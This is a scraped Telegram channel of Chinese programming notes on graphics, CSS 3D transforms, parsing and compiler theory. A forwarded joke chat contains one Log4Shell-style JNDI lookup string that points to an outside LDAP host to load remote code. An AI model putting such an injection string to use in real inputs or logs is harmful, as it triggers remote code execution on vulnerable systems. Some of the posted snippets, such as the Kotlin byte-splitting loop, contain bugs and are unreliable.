duangsuse::Echo
712 subscribers
4.24K photos
127 videos
583 files
6.45K links
import this:
美而不丑、明而不暗、短而不凡、长而不乱,扁平不宽,读而后码,行之天下,勿托地上天国。
异常勿吞,难过勿过,叹一真理。效率是很重要,盲目最是低效。
简明是可靠的先验,不是可靠的祭品。
知其变,守其恒,为天下式;穷其变,知不穷,得地上势。知变守恒却穷变知新,我认真理,我不认真。

技术相干订阅~
另外有 throws 闲杂频道 @dsuset
转载频道 @dsusep
极小可能会有批评zf的消息 如有不适可退出
suse小站(面向运气编程): https://WOJS.org/#/
Download Telegram
#statement #tech 感觉最近写代码越来越顺手了……虽然都没写过App 😒
今天说着要复刻《小狮子少年》的斜眼 #cg ,居然两遍就完成了(可惜视频还要等(但如果完成得慢会影响其他进度的吧

许多编程手段也得到了系统化
由区间-列表处理函数-2D分列 得来的自由数据集表达
由循环改变-函数图-动画曲线 得来的变化率应用
由语言对照得来的新描述语言风格、对 #ce 编译和语言大结构的理解,以及其对API的提炼 (再也不会觉得名字长才易懂,因为程序和提示有许多写法

使得我变得更适合任何用途意义的编程,我用一两行代码实现过许多所谓「框架」才能干的事,没一行多余的代码,句句是核心必要点,也能快速设计下可调参数,这是最好的。 🙊
可惜以后这些只能在一些边角里体现了

很期待用支持弹性动画的 #Blender 剪视频,以及蹭热度。

动苏眼里 #cg 除了GLSL(特效,光追,.)等明显项,『计算机图形学』和绘制的分界线有无使用『混成(composite)』。画一个圆弧arc进度条动画、多边形啥就是绘制,z轴重排序(3D Painter算法)和clip()mask 就是图形学 :v \
#math 如果你要在终端展示图片(RGB亮度->灰度),就需要将稠密的浮点切成区间编号。 绿 floor(x*a)/a 在a=2 时将0~1切成2份,a=10 相当于保留1位小数(1.0内含10阶),而 红 round 会切成4份,即数组a. a[floor(v*n(a) )]
#CSS #web 提供了 #rgb , #rrggbbaargb(255,.) ,以及 hsl(Hdeg S%L%) 扇形选色方式,注意这不是冷知识.. color picker 都支持按色相、饱和、亮度选色, backdrop-filter:hue-rotate(1deg) 也是有的
CSS1 仅支持VGA颜色,后来有了 X11-SVG 标准色集
CSS4 支持 rgba(r g b /a) 空格格式和浮点数

相比之下,弱鸡的 #Java AWT 和 #Python PIL 就没有简单、统一可玩的API ,awt 只有光谱 CIE XYZ 这样低层的概念, getHSBColor 和又能大写又能小写的 static RED 这些……emm

#cg 在「擦拭」位图A->B渐变里,t=0~1 , 当前帧=(1-t)A+tB ;先绘制A, 再以 mask(t) 叠上B
遮罩mask 内最黑的部分代表B最先出现部分,随着t递增 所有像素渐变到B

柔和度=0 时 mask 内只有0,1 二态,所以AB中间的线(如果mask=横向渐变)很锐利
=1 时会用尽alpha色域(一般256色)渐变
《古文观止》里「观止」指什么
Final Results
33%
望不可却(观,止
33%
看看就好
33%
一个名词
duangsuse::Echo
《古文观止》里「观止」指什么
《古文观止》是一个文章选本,“观止”是本于《左传》里记载季札在鲁国看乐舞时赞美的话:“观止矣!若有他乐,吾不敢请已。” —指看到这里就可以休止了
🌚 开源不会内圈,因为业余技术人就是内圈的
Forwarded from 甜食 the Chimera
#Java #meme 脸黑君 (😭哇~~~, [2022/1/11 下午6:28]
神灯 “恭喜你捡到了我,我可以实现你三个愿望,请说出的你三个愿望”

男孩 “请你实现我的第二个愿望”
神灯 “好的,然后呢?”

男孩 “请你实现我的第一个愿望”
神灯 “Exception in thread "main" java.lang.StackOverflowError”

rin kki, [2022/1/11 下午6:31]
没初始化愿望就实现,应该空指针啊~

Laoself 👨‍💻,
请Log.i("${jndi:ldap://1.1.1.1:3890/Calc}
#code
@SAM interface Fn{void run();}
void main(){
Fn 愿望1=FnBy(()->愿望2), 愿望2=()->愿望1();
愿望1.run(); //立刻实现!
}
Fn FnBy(java.util.function.
Suppiler<Fn> f){return()->f.get().run();}
螺莉莉的黑板报
http://tridiv.com/ 用 CSS + HTML 画三维物体的可视化编辑器。 你们……CSS 上脑的人好可怕……
#DontKnow 一如既往的Y-up 座标系(左手比枪xy, 中指z) 。 原来向y旋转是要改变x角度吗..向z旋转要改变y, 角度z 就是相对x了,对横长方体不明显..

正方体有6面,十字架展开 tp lt ft rt 凸字形:最上=顶面, bm bk 底和后,相信类似3D盒动画大家见过 --_- 。它们的 #CSS transform:
rotateX(90deg) translateY(-50%)
rotateY(90deg) translateX(-50%)
translateZ(2em)
rotateY(-90deg) translateX(-50%)
rotateX(-90deg) translateY(-50%)
translateZ(-2em) rotateY(180deg)
顶底(i=0,-2) 的角度是对应的,轴=X
前后(2,-1) 移动轴=Z —只是前后次序
左右(1,-3) 轴=Y

当你正面(xy)正方体,它可以在X/Y=横纵 距一个外点旋转(xy位置改变),Z 就是四方本身的倾斜度
X不是横向旋转,而是“所有点绕X轴转”

然后通过 rt-lt{width} bk-ft{} 这些调参

它给每个对象创建CSS .cub-19 .face 我最佩服的..
https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/rotate3d()
duangsuse::Echo
为了吹哨人、发哨人,以及所有为了疫情努力过的人(当然,显然我不包括在其中) 本频道 image 象征性灰今明两天。 #Telegram #China #Python Pillow: from PIL import Image def grayifyFile(name): img = Image.open(name) img.convert("L").save(name.rsplit(".")[0]) grayifyFile("image.png") OpenCV #CV #Cplusplus:…
#Kotlin 今天再写一遍灰度(黑白)化 🤪

import java.io.File
import javax.imageio.*
import java.awt.image.*
object ImGray{
@JvmStatic fun main(vararg a:String){
ImageIO.read(a[0]).mapPix{val(r,g,b)=Byte.cut(3,it); val l=(r * 299/1000 + g * 587/1000 + b * 114/1000); Byte.cat(l,l,l) }.save(a[1])
}//每Pix=Lum亮度公式

fun BufferedImage.mapPix(op:(Int)->Int)=this.apply{
for(y in 0 until height)for(x in 0 until width)
setRGB(x,y, op(getRGB(x,y)) )
}
fun Image.save(fp:String)=ImageIO.write(this,fp.substringAfter("."),File(fp))
object Byte{
fun cut(n:Int, b:Int)=IntArray(n).also{var u=b; for(i in 1..n){it[i]=u and 0xFF; u=u ushr 8} }
fun cat(vararg b:Int)=b.fold(0){u,x -> u shl 8 or x}
//{var u=0; b.forEach{u=u shl 8 or it}; return u }
}
使用效果(跗注: 这是拉黑我一个 #Bilibili up 主的视频封面 🌚
duangsuse::Echo
使用效果(跗注: 这是拉黑我一个 #Bilibili up 主的视频封面 🌚
#ce 反正建议大家不要信这些东西。 学了总是会有用的,但绝对不如直接吃元编程/代码生成 香 🌝
数学也能帮到编程啊,但还不如直接用 Desmos.com 🌑

这个『晓舟杂谈』的视频就是营销号,我稍微提了一句不尊重从业者,就给我拉黑了 🌝

然后他的视频呢,就是找了点old-school 的教材和一个 C++ Tree-IR 编译-执行 的视频(作者=CPP语言律师),对流程毫无了解 就敢说1天学会,真的服气。
有种你做独立App开发者、做科普 我倒敬你知名,也别来瞎碰瓷啊 🙉

我只是在扯淡(但是扯淡的人也不会教你 Racket外语言的实现.. 😂 应该说确实有些做法需要点明,但照LLVM的实例来就可以了。
在编译器前端最 native 的就是文本按 文件级,函数级, 代码块转化变量-计算图,而不是翻译到另外的高级语言文本、或解释执行啥的(那样就是计算器, 带if-部分求值也能做)
其实许多编译器的routine 用元编程也可,比如 C# 的隐式转换 implicit operator int(byte b) => widen(b) 貌似就能实现数值拓宽
如果不懂元编程(如new=按type分配&call-init,实例虚方法查找),编译器无非就是把文本做个解析,检查下类型,安排下地址,这些根本没啥有趣的,递归到常量变量节点就成

>许多框架实现的糖写法根本不需要创建新语言或者XML,问题是对只会模仿的人连 printf() 是 va_arg 和 cout« 不是“语法”都不知道,连语言=思维的实质都没分清谈何革命呢; 也幸好他们不懂编译原理,不然就会有一大堆莫名其妙的“Groovy”或DSL出现 :\

不清楚『语言』和编程语言是一回事,就会像Perl和bash 一样,“内部”功能越加越多,用户越来越少;我可不会以学写那样的语言为荣☹️,应该让机器生成那种东西
或者像Groovy ,IDEA支持烂得离谱,唯一的REPL试用也要被jshell取代了。 歧义和零散功能太多就造成这种问题

编译器真的没啥,只是一些人前缀解析器都不会写(准确的说是把显式状态机当必需品了,因此整个框架会过大),如果我2行写完S-expr 的解析, 那附带深先树重写,乃至名字解析、闭包啥的只是对内存结构的理解问题 :\ #js #code
let a="(1 (2 3))".split(/([()\s])/g).filter(s=>s!=''),i=0;
层=(tk)=>{for(let x,q;x=a[i];){i++;if(x==')')break;q=x=='('; tk.push(q?(x=[]):x); if(q)层(x)} }
层(树根=t0=[])

解析要么词条(跳空白的字符)流动,要么程序执行位置被动,肯定是程序驱动前缀消耗,而不是输入驱动程序执行; 让状态号决定行为 能凑整一些代码,让调用栈决定 能复用更多,设计和使用 compiler compiler (ANTLR,YaCC啦)就是行为艺术,可惜对外行它被传为必须,所以大家入门都难(而Lua等的手写递归下降又太长, 简单说就是科普阵地被魔法师占领了,反倒是成熟的更易学)。
现在有 coroutine 了,也能写数据驱动程序的解析器 且无需CGen,不过毫无意义。按文本读取的用途 哪怕用线程都不需要协程

当年我看PEG.js 左递归简直烧脑要死啊,还能优化?现在用着简写版逆波兰重排,我才懒得问左边递归为啥是循环,以及 Mul=Add|Add'*'Add 到底想干啥(js split&map版我也写过😂)。——为啥非得照你的做法抄啊
又长又烂还不方便,算个四则起一大堆名字,好像最后不是对应 eval(a{op}b) 一样
——为啥非得照你的API啊
按用途文档;元编程重构不好看吗?
功能弱鸡概念还那么多,滚吧😋


不能指望 #zhihuyinwang.org , ice1000.org 的大佬教这些东西,其实他们自己也只写过一两次,不管现在是做到什么程度,未必能拓宽过往的认知

越聪明的人反而越难科普,因为他们每件事都是一遍过。演讲是带稿还是脱稿好呢? 嘛,从未演讲过的人与稿子无缘,也没机会检查自己的语言问题,这是与思路多清晰关系不大的。(他们都算前辈.动机不多猜)
https://github.com/wkgcass/Latte-lang#%E4%B8%AD%E6%96%87%E7%89%88-chinese-version-readme #recommend #plt #jvm Latte ,记住了. Java6 的class编译实现

zig,red; scala.js RustPython moonscript nelua jsweet java2script
https://zserge.com/posts/jvm/ 这个是 #go #bin 实现读classfile常量池&栈执行
https://github.com/axkr/symja_android_library #math #android #tool 符号代数/绘图工具
https://github.com/JacksonTian/stone-lang/tree/master/src/chap12 适合小白读物配套(确信
https://github.com/enso-org/enso 图形编程,可视化, enso.org
https://vlang.io/ 类Go C目标语言,默认no-mut,支持内部序列化. 作者貌似做了C的双向翻译
https://github.com/lclang/LittleCat 用法不错,支持闭包
https://github.com/tern-lang/tern 含游戏示例. 文档太细节
livescript.net 含IDE插件示例
https://github.com/tonysparks/leola 支持协程, namespace: 是啥鬼

https://github.com/cqfn/eo 奇奇怪怪的XML语言.. jolie-lang.org 奇奇怪怪的 Swagger??


https://www.zhihu.com/question/27831730 RednaxelaFX大在这里手撕 #java 编译与反编译器,🐮
你R大永远是你R大🤪

https://www.zhihu.com/question/39400401 还是R大谈CLR-JVM=真泛型&in-out,delegate,P/Invoke&unsigned&Valtype,unsafe和受检溢出,无classloader 树 ,其他人就知道tailrec和jit,gc这些还说混了

不愧是R大 真不是盖的
一己之力拉高 #zhihu 编译原理水平
This media is not supported in your browser
VIEW IN TELEGRAM
RednaxelaFX 真是太牛壁了 #dalao
人懂话废不多,还舍不得出书,怕误人子弟
第一次真正了解jvm栈机是他做的gif
我都要被圈粉了
#recommend 放松一下。
duangsuse::Echo
#ce #plt 带步骤的四则计算器。递归逆波兰。22行代码 浅先=`;=;+ -;* / %` 流=(a, _s=[...a].values())=>()=>_s.next().value 切2D=(s,sp0,sp1)=>s.split(sp0).map(s=>s.split(sp1) ) {let t={},k; 切2D(浅先,';',' ').forEach((x,i)=>{for(k of x)t[k]=i}); 符深大=t} 符链=(s,l)=>{let a=[],add=x=>a.push(x)…
#bilibili >那你现场写代码😄
回复 @iiicp :以上是()和算数表达式的求值栈生成,加起来10行。 活动期分析后就可以临时变量到寄存器,或者干脆每个+-用既有栈变量。
当然,C会比JS多费不少代码

但我是认真觉得40分钟太长。如果真的细节到此程度,你可以加提纲,先说说要写啥、涉及啥流程和修改,再放PPT​

你能火是我想不到的,第一期视频我就认为会石沉大海。因为我也会写些涉及文本结构和计算机绘制的东西,在B站这些很少,因此更要注意可重看性。

如果你打算更100天,回头发现这些录屏复习起来很困难,应该就会意识到简洁和代码大纲的必要性了[藏狐]​


@iiicp :Up哥,就是parser这块,看的不是特别懂,可能是,编译原理,语法树,这块,没怎么弄懂​。

1 是常量, a 是变量
a+1 是表达式, (a+1)+1 含括号也是:单项a亦可为(中缀链)
if(a) a+=1; 是语句
表达式都有「值」,语句都能「执行」
表达式也是语句。而在C里,(a=(b=c)) 有效,py里f(x:=1) 有效
它们可以互相引用,像 if(表达式)语句; {语句;},构成嵌套树结构。
最深项先执行,把树变为值称「解释」,
保留中间数据,即区间推断/地址安排称「编译」​
编译的目标是可执行,比如函数,再由「虚拟机」的调用语法填参执行至ret/throw,函数内和脚本顶层是一样的;Java大定义和{},= 内则不同

(为什么要说这么笼统的东西啊喂!😫

常量来自tokenizer分词器,如 "str" 1.0 ,特殊名字如 true 是具名常量;C宏就替换为词条列表
变量可以是 能import的全局表键k、第j号局部、外i层函的第j局部:参数是调用时检查的n或vararg个局部量

(a)=>()=>a 称为词法作用域,a就引用上1层第0号局部-同时是参数。
闭包=匿名类型的值,根据上值(upval)组 "this" 的不同行为不同,它是数据和程序的交汇,Java new-匿名子类。有种Church丘奇编码法: true=\y n. (y) ;false=\y n. (n) ,因为函数是值,能到处传,可以这样。
(值)任何计算的参数,和结果
(弱类型)变量是编译期尚不确定的值,因此+-等需针对2Number有定义..
(强类型)变量值有范围确定。子类型里必是成员集更大的 :T 子类(多态/覆写);可试每位置<TP>归一,类型推导
(副作用) 计算值不能描述的效果。只有数学没副作用,程序只有内存和CPU,限定mut的范围

只有值都到齐才能计算(常量折叠)。其实编译和运行期只是语言执行的实现方式导致的区分,语言本身不限定静态或动态
其实OOP或FP只是数据结构语法导致的区分,算式本身只是参数凑齐,计算更新,单函数不限制功能个数

https://t.me/dsuse/17412
我们都很可怜😔 无论闭包或this都不是廉价的东西,至少不是热销的
#ai#game 魔改就很热销, #algorithm 如前缀树也很热销

Lua和JS,Py里无论有无「独占」名字,函数都是闭包。C等 里函数只是代码指针,也没有局部函数。
一般的Ruby,Java/C#/C++ 则对OOP和FP的等效概念做了较大区分
PHP和Unix族之类我不清楚,它们像操作系统改行来的🌑